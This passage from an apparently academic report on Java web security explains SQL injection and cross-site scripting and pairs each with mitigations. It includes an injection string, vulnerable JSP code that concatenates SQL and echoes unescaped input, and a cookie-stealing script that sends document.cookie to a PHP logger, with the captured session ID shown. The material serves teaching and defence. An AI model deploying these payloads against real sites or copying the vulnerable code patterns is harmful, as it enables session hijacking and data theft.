FROM user WHERE userId = '+strUserName+'");
```

Figure 25. Potential SQL injection vulnerability [16]

The code in Figure 25 does not ensure total security because the type of the input passed is not checked.

Example Mitigation:

```
final String sql = "Select * from Customer where CID =?";
final PreparedStatement ps = con.prepareStatement(sql);
ps.setString(1,CID);
```

Figure 26. SQL injection mitigation

`PreparedStatement` enforces type checking to the input of the user. So the `setString` method is ensured a `String` and not some other type [16].
Also the `PreparedStatement` escapes the input as a harmless string, which means the method processes the input as it is and does not treat it as a behavior or as part of an SQL statement.

If a user enters "`cust1' or 1=1 --`" as input for the prior code in Figure 26, then the corresponding SQL statement will look like

```
Select * From Customer Where CID = 'cust1' or 1=1 --'
```

If `executeQuery` or `executeUpdate` is used, this could be a problem. But in the case of `PreparedStatement` the SQL query will look like

```
Select * From Customer Where CID = 'key';
```

where **key** = "cust1' or 1=1 --" [6]

The most important thing is not to generate the SQL statements by blindly concatenating user input to a string.

4.5. Cross Site Scripting XSS

XSS is a process where dynamic data contains a malicious script. This dynamic data can be input into a JSP page's input field by an attacker or the data can be pre-stored in a database and then retrieved by the attacker via specific input. Attacker scripts can perform different tasks ranging from annoying pop-up messages to extracting personal information from the user's computer.

Figure 27 is an example showing a portion of a JSP page that allows the user to input a value into a text field. The input is not checked prior using it, which means the code is vulnerable to XSS attacks.

```
<%
       Cookie cookie = new Cookie("SomeInfo","SomeValue");
       response.addCookie(cookie);

       String UserInput = "";
       if(request.getParameter("submit") != null)
       {
          UserInput = request.getParameter("input");
       }
%>
Input is: <%= UserInput%>
```

Figure 27. JSP code

To illustrate the vulnerability consider the string placed into the text field in Figure 28.

```
<script type="text/javascript">
 alert("Show me a pop up");
</script>
```

Figure 28. Script to show popup window

The result of this example is that the JSP page actually executes this script and hence shows a popup message.

As a second example consider a string that redirects a JSP page to a PHP page (Figure 29). The PHP page receives a GET attribute which is the escaped value of the JSP page's cookie. The PHP page then writes the escaped value to a text file on the PHP server side [17].

```
<SCRIPT type="text/javascript">
 window.location =
 "http://localhost:88/test/tester.php?cookieValue=" +
 escape(document.cookie)
</SCRIPT>
```

Figure 29. Script input value

Below is the PHP script (Figure 30):

```
<?php

 $val1 = $_GET["cookieValue"];
 $myFile = "testFile.txt";
 $fh = fopen($myFile, 'w') or die("can't open file");
 fwrite($fh,$val1);
 fclose($fh);
?>
```

Figure 30. PHP file code [33]

The result of submitting the JSP page is redirection to a PHP page called `tester.php`. The resulting content of the `textFile.txt` file is shown in Figure 31.

```
SomeInfo=SomeValue;
JSESSIONID=AED83067413C050EA11A7B665525365A
```

Figure 31. Information revealed into the textFile.txt

The result is to reveal the cookie's information. This is just a sample on how the attack is possible. Of course encrypting the cookie mitigates.

Cookies are just a sample of what XSS can use. Many other attacks can be approached. Some other dangerous attacks include the execution of scripts stored inside the application's database. This assumes that the attacker has already injected a malicious script into the database. For example, assume the existence of a database table called `table1` with two columns `col1` and `col2`. Further assume that an attacker has stored a row with the values shown in Figure 32.

```
col1 = col1value

col2 = <SCRIPT type="text/javascript">

        window.location =
        "http://localhost:88/test/tester.php?cookieValue="+
         escape(document.cookie)

       </SCRIPT>
```

Figure 32. Assumed values that reside in the database

Consider the following JSP code (Figure 33):

```
<%
  String col2Value = “”;
  String requestedFieldID = request.getParameter("input");
  Statement stmt = conn.createStatement();
  ResultSet rs =
    stmt.executeQuery("select col2 from table1 where col1 =
"
    + requestedFieldID);

  if (rs != null)
  {
        rs.next();
        col2Value = rs.getString("col2");
  }
%>
     col2 Value is: <%= col2Value %>
```

Figure 33. JSP code that extracts the value of col2 from the database

When a user wants to use the JSP page and inserts a value of `col1value` into the text field, the JSP code will be executed and the result of the SQL query will be the value of `col2` which is the malicious script. Hence the script will be executed.

Mitigations:

Programmatic Mitigations

These are mitigations that can be applied to the source code of an application.

1. **Input Validation**

   Any input from a form field should be validated. Validation is done by analyzing the input and scanning it for any unnecessary values that might be used in for a XSS attack.

   Sometimes input is scanned for values such as `<script>…</script>`. A better way is to filter any characters not allowed by the input field. The filtering process should validate the input value in terms of data type,

format, length, null value handling, verifying for character set (A-Z, a-z, 0-9, and maybe “<, >, +, =, ….”), legal values, and others.

Usually XSS attacks occur when special characters are allowed in input fields by the website owner. In this case it becomes more difficult to prevent specific characters such as “>” and “<”. HTML escaping can be used in this case because HTML escaping converts special characters (non-numeric, non-alphabetical) to escape code sequences. For example, “<” is converted to “<”. Such conversion helps in preventing XSS execution.

Validation of the input should be done on both the client side and server side for best results. For example, the following method could be defined:

```
boolean validateInput(String formInputValue);
```

Such a method should be invoked to check all input.

2. Output Sanitization

Sites prone to XSS attacks often reflect the invalid values a user enters in a form field. So if the attacker enters a false username with a value of “`usernamevalue`”, the site replies with “`usernamevalue is invalid`”. This means that the input value is executed by the site [15].

Output sanitization can be used to refine and format output in such a way that the attacker does not get a chance to realize that the site is prone to XSS attacks. Sanitization also prevents the attacker from studying each input and its output value. Instead of showing “`usernamevalue is invalid`”, the site can show `InputValueError` or `CustomError`.

Other Mitigations

The following two mitigations can be applied to the system where an application resides:

1. **Stateful firewalls**

   Stateful firewalls can monitor all transmissions IN/OUT of a system. They can also block unrequested transmissions, thereby prohibiting such things as an attack by XSS script [15].

2. **Tracking user sessions**

   When a user first logs into the system, the associated host destination or IP address can be stored along with the user's session. For the duration of the session the application should compare all requests from that user and make sure they are from the stored host destination. This process protects a user's session from XSS hijacking [15].

5. Future Work

Full application security is a hard thing to achieve, especially when using rich programming languages such as Java. Security issues may always exist, but need to be found and solved by developers. In this document many security issues and mitigations were covered and illustrated, but some of the mitigations may not be efficient enough to totally solve corresponding security vulnerabilities.

In section 2.6 in this document, many of the mitigations were pieces of advice rather than actual software solutions that can be implemented. JNI vulnerabilities are hard to control due to the fact that native code is out of the JVM's environment control. Future work could include more in-depth analysis of such security vulnerabilities. The same applies to section 2.7 on privileged code. More analysis is to be done in the future.

This document has a more general approach in dealing with security vulnerabilities related to Java programs. Future work should address these vulnerabilities related to the different versions of the Java SDK by properly categorizing them.

6. References

[1] A. Bhowmik and W. Pugh, “A Secure Implementation of Java Inner Classes”, 1999.
http://www.cs.umd.edu/~pugh/java/SecureInnerClasses.pdf

[2] E. Chen, “Poison Java”, IEEE Spectrum, Aug. 1999, pp. 38 - 43.

[3] CSI (Computer Security Institute), “The 12th annual computer crime and security survey”, 2007.
http://www.gocsi.com/forms/csi_survey.jhtml

[4] CSO Magazine, “E-Crime Watch survey -- Over-Confidence is Pervasive among security professionals”, 2007.
http://www.cert.org/arhive/pdf/ecrimesummary07.pdf

[5] ej-technologies products, “jclasslib”, 2005.
http://www.ej-technologies.com/products/jclasslib/overview.html

[6] S. Enright, “Handling Java Web Application Input – Part 1”, java.net, 2005
http://today.java.net/pub/a/today/2005/09/08/handling-java-web-app-input.html

[7] Fortify Software
http://www.fortifysoftware.com/

[8] Fortify Software, Fortify Taxonomy of Software Security Error. http://www.fortifysoftware.com/vulncat/

[9] Free Encyclopedia of Ecommerce, “Computer Security - History Of Computer Security Problems”, 2008. http://ecommerce.hostip.info/pages/249/Computer-Security-HISTORY-COMPUTER-SECURITY-PROBLEMS.html

[10] Instantiations (Software tools for professional developers), “Audit - Rules - Security”, 2007. http://download.instantiations.com/CodeProDoc/integration/latest/docs/doc/features/audit/audit_rules_security.html

[11] F. Long, “Software Vulnerabilities in Java“, Software Engineering Institute & CERT/CC, October 2005. http://www.sei.cmu.edu/pub/documents/05.reports/pdf/05tn044.pdf

[12] G. McGraw, “Software Security”, Security and Privacy Magazine, IEEE, Volume 2, Issue 2, 2004, pp. 80 -83.

[13] G. McGraw and E. Felten, *Securing Java, Getting down to business with mobile code*, John Wiley & Sons, 1999. http://www.securingjava.com/

[14] G. McGraw & E. Felten, “Twelve rules for developing more secure Java code”, Java World, 1998. http://www.javaworld.com/javaworld/jw-12-1998/jw-12-securityrules.html?page=2

[15] R. Nagappan, “How do I prevent XSS in Java?”, TechTarget Expert Answer Center, 2006.
http://expertanswercenter.techtarget.com/eac/knowledgebaseAnswer/0,295199,sid63_gci1224132,00.html

[16] OWASP Open Web Application Security Project, “Preventing SQL Injection in Java”, 2007
http://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java

[17] OWASP The Open Web Application Security Project, “Cross-site scripting”, 2007.
http://www.owasp.org/index.php/Cross-site_scripting

[18] OWASP The Open Web Application Security Project, “Unsafe JNI”, 2007.
http://www.owasp.org/index.php/Unsafe_JNI

[19] OWASP The Open Web Application Security Project, “Secure coding”, OWASP blogs, 2007.
http://blogs.owasp.org/orizon/2007/07/25/recipe-1-make-all-inner-classes-private/

[20] OWASP The Open Web Application Security Project.
http://www.owasp.org/index.php/Main_Page

[21] C. Salka, “Programming languages and systems security”, Security & Privacy Magazine, IEEE, May-June 2005, Volume: 3 , Issue: 3,pp. 80 – 83.

[22] SANS Institute.
http://www.sans.org/

[23] SANS Internet Storm Center, SANS.
http://isc.sans.org/

[24] R. Seacord, “Secure Coding in C and C++”, IEEE Security & Privacy Magazine, 2006, pp. 74-76.

[25] R. Seacord, *Secure Coding in C and C++*, Addison Wesley Professional, Sep. 2005.

[26] Sun Microsystems Inc., “Security Code Guidelines for the Java Programming Language”, 2007.
http://java.sun.com/security/seccodeguide.html

[27] Sun Microsystems, “Exceptions”, The Java Tutorials, 2007.
http://java.sun.com/docs/books/tutorial/essential/exceptions/definition.html

[28] Sun Microsystems, “Java Object Serialization Specification version 1.5.0 – Chapter 5”, 2004.
http://java.sun.com/j2se/1.5.0/docs/guide/serialization/spec/security.html

[29] Sun Microsystems, “The Java Native Interface - Programmer's Guide and Specification”, Sun Developer Network, 2002.
http://java.sun.com/docs/books/jni/html/exceptions.html

[30] Sun Microsystems, “API for Privileged Blocks”, 2001.
http://java.sun.com/j2se/1.4.2/docs/guide/security/doprivileged.html

[31] G. Tan, et al, “Safe Java Native Interface”, *IEEE International Symposium on Secure Software Engineering*, March 2006, pp. 97 - 106.

[32] R. Teer, “Secure C Programming”, Sun Developer Network, Sun Microsystems, 2001.
http://developers.sun.com/solaris/articles/secure.html

[33] Tizag.com, “PHP File Write”.
http://www.tizag.com/phpT/filewrite.php

[34] US-CERT, “Security of the Internet”, 1997.
http://www.us-cert.gov/reading_room/tocencyc.html#Overview

[35] US-CERT, Vulnerability Notes Database.
http://www.kb.cert.org/vuls

[36] Web4j, “Validate state with class invariants”, 2008.
http://www.javapractices.com/topic/TopicAction.do?Id=6

[37] D. Wheeler, *Secure Programming for Linux and Unix HOWTO*, David A. Wheeler, 2001.

[38] Wikipedia, Java (programming language), 2008.
http://en.wikipedia.org/wiki/Java_%28programming_language%29

[39] B. Youmans, “Java: Cornerstone of the Global Network Enterprise?”, Virginia Tech University, 1997.
http://ei.cs.vt.edu/~history/Youmans.Java.html